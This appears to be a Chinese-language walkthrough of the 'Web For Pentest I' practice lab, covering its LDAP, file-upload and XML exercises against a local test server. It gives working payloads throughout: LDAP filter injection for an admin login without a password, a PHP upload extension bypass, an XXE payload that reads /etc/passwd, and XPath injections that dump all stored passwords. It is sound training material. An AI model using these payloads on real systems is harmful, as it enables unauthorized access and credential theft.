9 LDAP
9.1
url为http://192.168.1.109/ldap/example1.php?username=hacker&password=hacker,显示NOT AUTHENTICATED,未认证,即输入的username和password不正确。 以下为看攻略
http://192.168.1.109/ldap/example1.php直接输入的话,就认证成功了,显示AUTHENTICATED
此漏洞俗称LDAP服务器匿名登录
9.2
url为http://192.168.1.109/ldap/example2.php?name=hacker&password=hacker,显示AUTHENTICATED as hacker,
如果只访问页面,http://192.168.1.109/ldap/example2.php,显示未认证。
Notice: Undefined index: password in /var/www/ldap/example2.php on line 9 Notice: Undefined index: name in /var/www/ldap/example2.php on line 10 UNAUTHENTICATED 以下看攻略
LDAP的认证字符串为(&(cn=[input1])userpass=hash[inpu2])
http://192.168.1.109/ldap/example2.php?name=h*&password=hacker 认证成功,支持用通配符*
http://192.168.1.109/ldap/example2.php?name=a*)(cn=*))%00&password= 以admin用户认证成功。而去不用管pass是啥了。
nmap =p 389 --script ldap-search 192.168.1.109,可查看ldap服务器都哪些用户。
10 文件上传
10.1
url为http://192.168.1.109/upload/example1.php,显示可上传。
直接上传php。上传成功,可直接访问,文件名都没改。http://192.168.1.109/upload/images/phpinfo.php
10.2
url为http://192.168.1.109/upload/example2.php,显示可上传
上传php后显示为NO PHP。说明服务端有判断。可能判断文件扩展名,可能判断文件内容。
首先把一个php文件改名为jpg就上传成功了。说明判断的是扩展名。看怎么绕过扩展名,或利用解析漏洞啦。
http://192.168.1.109/upload/images/phpinfo.jpg.php3换成非php的扩展名,或者在php.basdf后面加入apache不认识的,也可以解析成php。
11 xml攻击
11.1
url为http://192.168.1.109/xml/example1.php?xml=hacker ,显示为hello hacker。可以考虑类似xxe外部实体引用。
http://192.168.1.109/xml/example1.php?xml=%3C%21DOCTYPE%20test%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Ctest%3E%26xxe%3B%3C%2ftest%3E%0A
其原文为
http://192.168.1.109/xml/example1.php?xml=&xxe; 但由于是get,有些内容必须通过urlencod才能传递。
11.2
url为http://192.168.1.109/xml/example2.php?name=hacker,显示hellp hacker,
当把hacker换成其它如hacker1,hack等,则无内容,
当name=hacker' ,报错Warning: SimpleXMLElement::xpath(): Invalid predicate in /var/www/xml/example2.php on line 7 Warning: SimpleXMLElement::xpath(): xmlXPathEval: evaluation failed in /var/www/xml/example2.php on line 7 Warning: Variable passed to each() is not an array or object in /var/www/xml/example2.php on line 8
http://192.168.1.109/xml/example2.php?name=hacker' or '1'='1 显示Hello hackerHello admin
http://192.168.1.109/xml/example2.php?name=hacker'or 1=1]%00 同上类似。
http://192.168.1.109/xml/example2.php?name=hacker'or 1=1]/parent::*/child::node()%00 显示服务端的整个xml字符串。
http://192.168.1.109/xml/example2.php?name=hacker'or 1=1]/parent::*/password%00 显示所有密码。
这些都是xml,xpath的语法。
至此,Web For Pentest I全部完成。
领取专属 10元无门槛券
私享最新 技术干货